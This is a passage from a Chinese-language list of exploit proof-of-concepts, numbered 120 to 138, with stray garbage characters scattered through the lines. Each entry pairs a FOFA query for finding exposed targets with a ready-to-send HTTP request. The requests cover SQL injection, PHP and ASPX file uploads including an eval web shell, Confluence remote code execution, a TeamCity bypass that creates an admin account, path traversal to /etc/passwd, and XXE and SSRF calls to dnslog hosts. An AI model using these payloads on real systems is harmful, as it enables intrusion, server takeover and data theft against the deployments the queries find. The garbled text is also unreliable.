; u# c* K6 m9 d) s0 b9 ~Host: x.x.x.x
" V$ H6 a% I2 k, y' vCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
! j7 A$ d5 R, @* B8 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0# `, L: s4 c/ P* D; v9 q
Accept: */** e9 f& L+ o4 o1 a9 |+ w3 R8 ?
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 x& U/ h( h7 l; J5 R4 `$ I$ @, K; tAccept-Encoding: gzip, deflate& O1 X+ B( d. m7 Y) f6 ]; |
Content-Type: application/x-www-form-urlencoded;
) T: u$ V* `2 LContent-Length: 109
0 E7 x- i( m6 _! f- eOrigin: https://58.18.133.60:8443
! {$ r+ b9 T3 c' H; o0 r# g8 fReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
& y% A6 m; I! T3 _3 I4 nSec-Fetch-Dest: empty
4 _4 I$ d% T: O+ F5 QSec-Fetch-Mode: cors# ]/ ?. \6 O' F# D  P. Q. Q0 o$ V  g
Sec-Fetch-Site: same-origin
% D6 n# P9 [6 y5 h% YX-Forwarded-For: 1.1.1.1
$ X1 w6 ?; D; [( P  I+ z' U" Z* bX-Originating-Ip: 1.1.1.1
+ H3 p( T% F7 p) y: l% t' D8 ?X-Remote-Ip: 1.1.1.1
, w; r/ }, \, K+ p0 M* @X-Remote-Addr: 1.1.1.1
6 n4 o- t7 W" h: @$ p8 OTe: trailers7 s+ e7 D/ C4 I1 D* H! o" Q- B, Q
Connection: close  ]9 l" W' L* {  p+ |
5 Q2 t6 I0 H$ a: B
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|1234560 }3 m: ^$ }$ c4 _/ W# F# L
: J9 q" T+ i. O: J5 _0 |! I% `( a
' t1 D: j# S9 f2 F: g
120. 北京百绰智能S40管理平台导入web.php任意文件上传% z+ h3 K! L/ ]0 Q7 Y
CVE-2024-12531 B* F. b+ S% Y1 c. [  R: f
FOFA:title="Smart管理平台"
* @. j( J" ^+ P0 q% K0 v) iPOST /useratte/web.php? HTTP/1.1/ W4 U8 m& {% b
Host: ip:port
) K) v# W% z. M* y7 C1 _Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
/ f! W/ J( E- s% P% [  Y7 E$ iUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
( ^0 v# h' M3 m0 @6 x5 {. L# rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8. _- G1 _% j: Y  q, }( u
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2; G4 k$ E6 \  \9 Z/ g5 g
Accept-Encoding: gzip, deflate
3 @6 u5 D% a+ X/ bContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
3 ?% r( K' u/ I! w* XContent-Length: 597
1 W& o1 }* t$ M3 {; L. _6 KOrigin: https://ip:port
6 Z- }4 [1 @* ]3 @/ h3 @) Q! VReferer: https://ip:port/sysmanage/licence.php
# x6 E: [  v5 j8 R- FUpgrade-Insecure-Requests: 17 g! M8 r& A! n3 n
Sec-Fetch-Dest: document
1 [, M3 V# S. DSec-Fetch-Mode: navigate
$ n) |+ y) g$ dSec-Fetch-Site: same-origin( }2 ^( ~) V: C
Sec-Fetch-User: ?1
, F( O" V- x9 P! ITe: trailers
3 ?/ B! C8 }( |, SConnection: close
, X: B6 |, a% G, @4 M" d' u
2 }7 T& z4 k, r-----------------------------423289041236658752706300793284 R3 j6 g2 K9 r
Content-Disposition: form-data; name="file_upload"; filename="2.php"4 @* q/ v0 }! |9 A3 [: Q8 L: Q4 r
Content-Type: application/octet-stream8 J* M, F) u) \3 R6 q# q3 [
, X5 p, u5 y7 b, Z: m
<?php phpinfo()?>% F5 }# K* k% A( i2 k8 y: m
-----------------------------42328904123665875270630079328% m# c" |# q8 \& {+ N
Content-Disposition: form-data; name="id_type"
) \. ?' Y: u4 e1 ?; \
2 @3 }8 h1 y" P1! o* A: y# y6 m/ r7 E
-----------------------------42328904123665875270630079328) _5 @! |! M7 j! z2 ?
Content-Disposition: form-data; name="1_ck"
+ D5 u9 E3 ?) m3 h
8 X' z+ @) K* a& y/ f- K1 r# V1_radhttp7 y* j' x( }3 i0 M8 R0 A
-----------------------------423289041236658752706300793288 A- i" B  t' v7 X
Content-Disposition: form-data; name="mode". v1 a9 F$ L$ n% e
9 _# w0 K2 }- J# t% h0 h1 o
import$ ^5 G: P( \9 Z6 n
-----------------------------42328904123665875270630079328  ^- O+ e  E3 W& g

% h% D+ c: i3 Z. W! t5 I/ `8 N3 A- p1 h
文件路径/upload/2.php2 P# T4 v: ?$ n0 b( E
3 @/ J' q& n  D9 V2 Y. E- d7 ^; E) C
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
9 S4 Y- }  x4 a  w5 o5 x9 jCVE-2024-1918
. C" S6 `5 X& s8 h! |; CFOFA:title="Smart管理平台"
2 b7 m5 }) N$ c/ J9 Y- f+ H7 rPOST /useratte/userattestation.php HTTP/1.1& G7 S# u! s4 _: m9 X
Host: 192.168.40.130:84437 R9 W+ t/ T/ k
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
% z" g. Z& a( M, w: cUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko" O# [, p" @) O) U: A
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8- j4 ]( S7 [2 [& ^. S6 C* J
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* ~* o- {; j8 G! s% PAccept-Encoding: gzip, deflate
0 T3 F; J' V* u4 o" hContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
$ s' ^  z! d! r6 UContent-Length: 592
+ f8 a; ?! o; r9 |# ^0 QOrigin: https://192.168.40.130:8443
3 Q$ J9 _: A8 M8 g$ ~" B! s$ cUpgrade-Insecure-Requests: 1- l; U" }/ z0 p& n
Sec-Fetch-Dest: document3 b& ]" k/ I* S1 A
Sec-Fetch-Mode: navigate4 E2 ]3 t- _8 v
Sec-Fetch-Site: same-origin
+ K1 O' f& K. ^" U. q4 Q; \6 D% kSec-Fetch-User: ?18 K! ^. k  g- L' W" W
Te: trailers" z. R% o; |( \) U
Connection: close
, H' j+ x: Y, p7 {0 f- e. [
5 V1 G' R7 D7 e8 K3 H" R# W-----------------------------42328904123665875270630079328
/ d) j3 X' m5 z, `Content-Disposition: form-data; name="web_img"; filename="1.php", S& \; ~5 M" `6 T
Content-Type: application/octet-stream
: J9 j2 Y4 E- C* J0 {0 X
* |  v, ^2 }0 z8 {<?php phpinfo();?>
- ~4 W  U1 I7 ?-----------------------------42328904123665875270630079328: q( H  S2 R4 j7 z( F6 w, A4 Z
Content-Disposition: form-data; name="id_type"
8 ]. J* l8 s. K8 k  r' ]+ w
  S$ n& [& p  P( w2 r1
7 B" r: a, c5 N! v# O-----------------------------423289041236658752706300793289 a0 L" {  R8 ~$ s- q$ w
Content-Disposition: form-data; name="1_ck"
) N% z6 M  e1 O9 K/ H3 p0 o/ ^- U+ {  g2 U; `
1_radhttp
# y1 X, g- E# l, V. ?5 y-----------------------------42328904123665875270630079328
9 |: n7 V) {  ^, G3 LContent-Disposition: form-data; name="hidwel"
5 e. T2 x! l- J* b' L: u+ R  I
3 \/ O, A4 C8 Tset
; X5 N3 P+ }0 G% H0 W! }-----------------------------42328904123665875270630079328& N9 }# n$ c  G0 y  y5 x
& s$ x+ J1 f0 @+ a( I4 S% u
% W2 o9 S6 o. i3 ?7 ~  k8 c+ K3 N
boot/web/upload/weblogo/1.php
# ~) f8 z0 r6 Q4 s! q4 t9 ~  Z# Q. V2 Q+ ~
122. 北京百绰智能s200管理平台/importexport.php sql注入
( z" b$ R8 o7 w. {CVE-2024-27718FOFA:title="Smart管理平台"5 G7 U- r9 u$ B& t% T. W# O
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容,原文:sql=select 1,database(),version()0 |, w& B& q1 k8 R
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.15 j- p- n, m" X6 j; D, z2 g
Host: x.x.x.x
  w5 W! v3 H$ g3 X1 s$ P# \. F0 MCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
- e. {: I) P. F+ ]: D0 A' SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 f/ Q- G2 C/ J; G7 w6 u4 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8# Z+ @# F+ S; b
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.23 w9 A; ]* E2 Q; N& u! n
Accept-Encoding: gzip, deflate, br
* _: b4 o/ l: a% N/ cUpgrade-Insecure-Requests: 1/ k6 \$ h$ x7 [, R+ ^: n
Sec-Fetch-Dest: document
( x8 m9 d* v- k6 w4 @Sec-Fetch-Mode: navigate
1 G7 t% i; c6 g6 w5 VSec-Fetch-Site: none$ W4 T8 H4 _& ~+ c
Sec-Fetch-User: ?1
( [6 E, E8 N) p8 \Te: trailers  R6 ~% C! ^0 K  k$ U+ L( f' w
Connection: close
, n2 _' l1 G7 o- n, w8 a
" a- C' t% _2 s
  O6 R0 w( d* b123. Atlassian Confluence 模板注入代码执行: a- ?; G- S& \
FOFA:app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"3 q& @1 j8 F6 H" o4 t/ r/ n- E- p0 V
POST /template/aui/text-inline.vm HTTP/1.11 G5 ?3 T/ u# J4 \) ]
Host: localhost:8090/ F' D% |6 N4 u1 O" B# ?7 _( P
Accept-Encoding: gzip, deflate, br
* r. i7 I/ O/ C4 |- oAccept: */*
4 O, q8 Y" l! Z1 O2 W+ X+ A4 E) TAccept-Language: en-US;q=0.9,en;q=0.8
$ G! ]$ c& v% o: v8 b) ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36% I( A1 y& @! `9 M: k8 ?
Connection: close& m, {7 }; c4 r2 ~( `# W
Content-Type: application/x-www-form-urlencoded- y3 @7 R! F- a

; |6 h9 c8 L7 u: R0 Ylabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
6 K) P# \; p) h5 _3 [/ ^8 _9 H9 F7 n
5 ^8 y( e7 R' S4 p- k3 g. Q+ _$ Q; ?6 K% L' ]5 B/ ]
124. 湖南建研工程质量检测系统任意文件上传7 ?5 |5 x' _+ _5 O! O) {: e  y
FOFA:body="/Content/Theme/Standard/webSite/login.css", w. u+ D0 V, ?& I
POST /Scripts/admintool?type=updatefile HTTP/1.1& G& s, C; b7 W; `. o" w2 Y
Host: 192.168.40.130:8282
& o7 N2 U  ^" J$ g2 x/ c* CUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36. ^% |2 Y( t% [3 V0 P# O0 q4 l
Content-Length: 72
8 k- I1 R9 [9 t. M# y  vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
. a' N7 C1 K6 i& TAccept-Encoding: gzip, deflate, br
0 |* y0 X% W; P# {' fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: t9 n% e& x& n6 V: OConnection: close/ R, @) c/ C; O
Content-Type: application/x-www-form-urlencoded2 G$ M7 g2 Z* v' L
* @- n+ Y9 s4 v: e( L0 X6 l- K
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%># i5 g7 r1 \* T* ^
' q; }" |5 U/ E3 f8 W6 Z# o/ ]
* B6 c+ U) A0 X; s4 L* b* r1 _
http://192.168.40.130:8282/Scripts/abcgcg.aspx9 a9 R3 Y6 {2 O" s& X4 j

( R3 g7 x- h4 V, L$ g3 c6 c7 ~125. ConnectWise ScreenConnect身份验证绕过6 J: E: g( p2 S% w' J0 J8 u7 f! B
CVE-2024-1709- G6 B$ E( U# t) X7 Y9 Y6 s. l  i2 {
FOFA:icon_hash="-82958153"% A, E4 W  u0 d1 @/ _
https://github.com/watchtowrlabs ... bypass-add-user-poc
$ s8 H$ i- A: B& w) a/ Y1 c3 F+ N0 }4 P: [6 v  ]$ c7 `
7 o% t+ P7 K5 w
使用方法
' b- R) s/ b% L: P3 c: H/ m9 Xpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!" x5 ~" A0 ]3 k! c

, T. |* X0 F, N9 S
) F. }+ u% b1 f+ W! J( g  X创建好用户后直接登录后台,可以执行系统命令。
. c, f. q$ `# O" J1 j6 y6 m" }8 @) J# c% `8 c0 Z3 y4 X, t
126. Aiohttp 路径遍历
2 L8 [; a7 h; w' t+ G8 P/ m5 F- rFOFA:title=="ComfyUI"3 e: N! z; [/ k- M3 M
GET /static/../../../../../etc/passwd HTTP/1.1) w  j  X# J1 M
Host: x.x.x.x, a# q# m  U/ p1 J3 i  `
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
* n8 a2 i; U5 r1 C, \2 xConnection: close0 i+ M' R8 p* F) j- S
Accept: */*" L- J' U( c: z( i5 F2 r
Accept-Language: en3 y1 T+ k! m/ m" F! @: V" D/ w6 W% K
Accept-Encoding: gzip
- {( k7 v  Z& W1 h! d* Y7 y" Y- L# O4 T8 X8 |) G

: K& r- _1 p0 o/ F' v3 ^127. 广联达Linkworks DataExchange.ashx XXE; q& i1 Q7 Q, E4 k7 r- g
FOFA:body="Services/Identification/login.ashx"
& j, |5 }  T$ F; M" ?4 KPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
+ B2 b+ l9 s! I7 JHost: 192.168.40.130:8888; p+ o0 M0 U/ m) f
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
1 m/ ~3 x& t8 ]Content-Length: 415
* Q' C/ o) r+ u0 i$ v* i. @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7# `8 I& Z" k, l
Accept-Encoding: gzip, deflate
+ g' m0 V1 b6 f9 s1 ]) Q. a' V6 tAccept-Language: zh-CN,zh;q=0.9
- l) _8 B) ^" J4 u6 TConnection: close+ A$ N" v: I. C* m( z- H
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0; e, T! V) Q; k/ U$ n
Purpose: prefetch& `- n  B+ g0 p5 g5 T( ]
Sec-Purpose: prefetch;prerender
8 B; a' x* S, P5 q. K+ R/ @
; J/ q/ c+ Y0 @3 @------WebKitFormBoundaryJGgV5l5ta05yAIe0
4 v/ w2 h3 l. g8 K2 x, uContent-Disposition: form-data;name="SystemName"- G% P# G# o* J$ a; `) T
' j! c  l9 p7 K: K6 y3 D8 C
BIM8 m8 @. c: R: V$ `+ C
------WebKitFormBoundaryJGgV5l5ta05yAIe0* p) E6 k  Y6 o. Q
Content-Disposition: form-data;name="Params"
8 v0 m7 k; }7 lContent-Type: text/plain3 M0 k9 v4 B+ o8 e* u# \
5 B) H/ c. }- M! Y- |. E. ]
<?xml version="1.0" encoding="UTF-8"?>
# P5 F7 d( Z: N+ W; w/ E" y<!DOCTYPE test [
5 e1 z- ?2 C6 u6 {( {# e% q3 v<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
3 [6 `6 I+ X3 Z( K; o/ f]) ?1 G" [) S. s
>
$ k# u  Z0 V5 Q! W/ ^( v7 S" s<test>&t;</test>8 [) H$ n2 c3 K% g& I
------WebKitFormBoundaryJGgV5l5ta05yAIe0--+ |7 t+ W8 C9 h

* [+ S2 Q# f, J( A
/ p4 l) x( @* m( o$ U% b
; L  n3 p/ Y8 F6 }, N128. Adobe ColdFusion 反序列化! w) T4 }% C* k* c: P; x4 {# \
CVE-2023-38203
' W$ v6 i$ P; c, ?1 c* QAdobe ColdFusion版本2018u17(以及早期版本)、2021u7(以及早期版本)和2023u1(以及早期版本)
! r8 I5 T4 a1 C3 d' s" S  [. mFOFA:app="Adobe-ColdFusion"
# s' x3 d2 a! p) E( k% B' @PAYLOAD
* {" h6 P$ r/ l4 `3 V9 H# ], A  d+ q/ m
129. Adobe ColdFusion 任意文件读取
+ q+ Z1 [. I% ?CVE-2024-207678 H4 S6 x- Y6 O# j
FOFA:app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"* u+ o$ p# A- n8 K4 z2 a
第一步,获取uuid% G, k$ J: w0 P: S( V
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1* U1 C8 Z7 Q5 i% V  ~; h; L
Host: x.x.x.x3 q0 L* ?+ P+ v2 w4 ?
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36* D; a* \# t* S4 [% k
Accept: */*
. ]" m9 w; C  @2 u# jAccept-Encoding: gzip, deflate: @4 E- R2 S- m8 A! K& j0 `- @# I
Connection: close
, D' O: j0 u; Z/ \; P+ P+ K1 O2 L# B6 I
9 C! g1 o- E, x+ R
第二步,读取/etc/passwd文件. K. \8 Q- ^: ?- h- E
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
7 m3 X/ L% K6 ~  e' hHost: x.x.x.x
# V9 f8 T9 [# P# c1 I+ \  LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- |: ?3 p8 K  S3 C) I$ s- yAccept: */*, K  E5 {7 I: @) g/ R1 U8 S
Accept-Encoding: gzip, deflate
2 ?6 {1 p2 Z$ w# {/ GConnection: close
$ i) ~1 p% P4 |( m4 n# W$ m9 v$ c5 Duuid: 85f60018-a654-4410-a783-f81cbd5000b9) y, h; u" n0 T1 F

, P; ~& ?  c) J; g9 H, p; D% s! b' M+ O( R
130. Laykefu客服系统任意文件上传1 q2 V) r* C! y
FOFA:icon_hash="-334624619"  X, ?6 W* T+ V9 w( O
POST /admin/users/upavatar.html HTTP/1.1
+ ^6 f: o, {6 P! AHost: 127.0.0.1/ h3 X/ M) D0 y" M8 V6 c- k
Accept: application/json, text/javascript, */*; q=0.01
+ k& Q8 J. z8 J1 |1 i1 ]+ ?- zX-Requested-With: XMLHttpRequest) S6 b2 I9 C5 |! l. E# W
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
5 d2 K- ^& q& u- ]9 KContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR3 W& B$ p% d+ r* |2 e% K, o" c
Accept-Encoding: gzip, deflate2 J/ }# E/ `0 Q5 I. _$ S' G
Accept-Language: zh-CN,zh;q=0.9
! U9 D* W; q; x, V1 _Cookie: user_name=1; user_id=36 {+ n+ S) e# z" t6 ]* f
Connection: close+ G) N; R" T9 e! @& H

- n( B* F) o* p: h------WebKitFormBoundary3OCVBiwBVsNuB2kR
2 C1 W) S! j. ZContent-Disposition: form-data; name="file"; filename="1.php"
/ [# J1 E' l: \; H/ tContent-Type: image/png, r; R' M" S9 h- c! p

6 p) N" }/ f& N4 c' r: a<?php phpinfo();@eval($_POST['sec']);?>5 G( g6 @6 h" C- P) W, B
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
0 `) x5 T- ]/ ~8 y/ k
1 s6 V/ V( U, |' [$ G* y8 x
$ B, Q$ A( q) R1 z( L2 f# W2 Z131. Mini-Tmall <=20231017 SQL注入
% M. B+ _) F) P5 H' `0 zFOFA:icon_hash="-2087517259"
; P# i9 E0 w2 }* y后台地址:http://localhost:8080/tmall/admin% S" Q7 C% P3 z- v) [1 Y8 i
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
9 |; S( |+ y+ |, }. `, I7 _# g/ z1 y( I7 y% W0 ]
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
6 x% I7 L/ t" H0 `CVE-2024-27198
8 i) T) b2 u/ G5 a* mFOFA:body="Log in to TeamCity"' P0 ~0 O  @5 Z' C( x
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
: p* d3 s: d4 E! w/ @  b; LHost: 192.168.40.130:8111
/ A$ I; J/ Q9 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.364 |0 m9 H7 M% e( L2 _% G
Accept: */*
* U* r3 v# ?  s  q) ?) _Content-Type: application/json
9 Z" I- t! a" `5 ?6 K, `+ GAccept-Encoding: gzip, deflate+ h: t* U$ Q& ^7 l- {

# p" C; V# [$ k6 a) A6 X. X0 L6 h) k{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
7 C& f6 ]8 B  Q, r! S  y7 M5 }8 i6 s5 `0 D3 o9 A" \
! Z' q& {# n+ ]8 [) F# s0 M, A; U
CVE-2024-27199$ ?" w' y: z: y- l( u. s5 _
/res/../admin/diagnostic.jsp
  O$ x; s$ v. V! D5 K* m5 q% |" q/.well-known/acme-challenge/../../admin/diagnostic.jsp9 \$ I5 ~1 e1 k+ e
/update/../admin/diagnostic.jsp
! e& l" i0 T6 L9 ~  w! w# o$ x/ Q
0 T7 X6 S  ?" G1 D* O) O7 W6 e4 E1 j3 d0 S9 R
CVE-2024-27198-RCE.py" n2 _- ]1 d  O) A2 ?# |
5 w# E9 N) I2 h
133. H5 云商城 file.php 文件上传; P7 M5 r8 {0 A/ `. `
FOFA:body="/public/qbsp.php"3 a# N) d) w. k7 p6 X7 V
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1+ h8 v; A6 m7 x0 B0 m0 i, N
Host: your-ip3 W: J( n9 {* C1 S7 Z8 E
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
- d" T6 `2 X- s+ h* {1 V! QContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx: Z: S  ]; S- D* r$ J4 m
  R0 t9 q; M' T6 d) h) ?4 x
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
6 p+ M( `! n( s5 |/ O/ V) Y5 i& }% ?Content-Disposition: form-data; name="file"; filename="rce.php"& a, u4 c! l6 G
Content-Type: application/octet-stream
! s- T: x4 v! E2 Y* K  w 8 D$ Z) M2 I- s% P) F
<?php system("cat /etc/passwd");unlink(__FILE__);?>' A; @7 x! D% a8 C/ Q+ h
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
0 t" S* C7 Z% l' u; \4 N9 M3 [2 |( }8 A8 I: ^
" l' h9 a  ^7 C7 U
- N& G& J) X: V0 c1 [$ _
134. 网康NS-ASG应用安全网关index.php sql注入
/ z+ F( R# f. h& G% RCVE-2024-23303 u0 g; Q  p7 n
Netentsec NS-ASG Application Security Gateway 6.3版本
0 k+ p: `9 M! \+ U- fFOFA:app="网康科技-NS-ASG安全网关"" i! X: [" M/ s8 ]+ G, H
POST /protocol/index.php HTTP/1.1( E2 U/ o( h2 k! u/ y
Host: x.x.x.x) b/ F: v% [3 K" _; `; i9 R' a0 B
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de$ V" l; l7 F/ l4 G5 c6 M
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
! q; ~4 X$ f8 xAccept: */*# g- M; O+ O' k0 A& i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2# k8 g$ L6 @; w- ^
Accept-Encoding: gzip, deflate
8 \3 w) |1 g3 A5 N; cSec-Fetch-Dest: empty9 C. v  ~9 C! v: w) B$ q
Sec-Fetch-Mode: cors
# f, G$ j$ G5 v: l  ISec-Fetch-Site: same-origin" I/ R$ _7 t, I2 C$ M  A
Te: trailers
6 t8 e6 {# t( V4 lConnection: close4 a3 I8 h& m% A: g) N
Content-Type: application/x-www-form-urlencoded( |. t. z8 x) S2 }3 q7 Z
Content-Length: 263- P; M: U' Q( G0 A

1 Q6 o% r. k5 X2 `5 B0 k1 N( pjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
" e, q4 a5 I2 z; [0 p5 w% p
4 {- d, c! p7 }6 q" Q/ c
. ~: f5 L+ ?1 F( M/ a6 z135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入  e  L4 t( B0 A! t# n
CVE-2024-2022" V5 Y' c+ o$ @! ^& p" M1 a: c) b, h
Netentsec NS-ASG Application Security Gateway 6.3版本+ \& }9 a' ^5 b- \2 r
FOFA:app="网康科技-NS-ASG安全网关"
8 _7 ?' }& @; U0 T" MGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
9 e/ A0 c4 d, D0 u2 ?- T5 X* AHost: x.x.x.x5 b5 k/ O3 K; s) g& S
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36+ V9 H0 y" V7 U8 \3 b; U& f% f) |' R
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 ]1 C/ x0 n$ A! M6 V  X( |Accept-Encoding: gzip, deflate* b  h; v/ _8 \
Accept-Language: zh-CN,zh;q=0.9! R' b6 I* a  a" ]3 [
Connection: close
2 R$ G, F1 e. ^6 g( h1 s
; {. x7 D3 K* m+ a
( o' \2 Q0 Z8 G0 a' Z136. NextChat cors SSRF5 z" S8 t2 z2 o" G
CVE-2023-49785
0 v1 A3 [: c0 W  a( T* zFOFA:title="NextChat"
1 b. ^& j/ @' H+ b7 h  J( BGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
! z" x9 ?9 }; DHost: x.x.x.x:10000" x* J, S2 v7 V4 a( Z
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ Z* J# ?9 O  I; x$ MConnection: close1 |/ W# y* h6 `, ]0 H
Accept: */*( ^. m- {# |* Y! F/ z( F
Accept-Language: en) Q. {0 v2 z+ K% Z6 H1 Z
Accept-Encoding: gzip' ?' B/ K: k4 \* C& v
, k$ o) I3 I- L0 ^, N
. a3 ~; ^) x8 }) u! V( I
137. 福建科立迅通信指挥调度平台down_file.php sql注入
. p: j+ I0 X& r- c2 K  M0 mCVE-2024-26208 H! H5 {$ n' t8 O
FOFA:body="app/structure/departments.php" || app="指挥调度管理平台"5 r  c! ]+ h' I# N
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
+ Y$ ~8 N9 _0 K2 @) {% OHost: x.x.x.x1 v& h$ N$ h% H* S% s$ m8 v( |% H
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
& b* \8 ^8 z! |5 g5 r8 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# {2 S% i! P- H! _, [) eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& X" `6 y. s& A4 {; }; G2 _Accept-Encoding: gzip, deflate, br% W1 o3 n# v8 U$ \! k. M5 H
Connection: close
" H! m/ P# m2 GCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj+ j8 ~- |+ [* X9 d! X) d* J" E
Upgrade-Insecure-Requests: 1
. y- [8 L% n1 |% C2 E1 ^
4 X, ?, n: }# b! g5 J7 D
' h$ S* E  h6 {) L/ q4 C138. 福建科立讯通信指挥调度平台pwd_update.php sql注入9 _4 O. s9 R, y) e# K: S* T
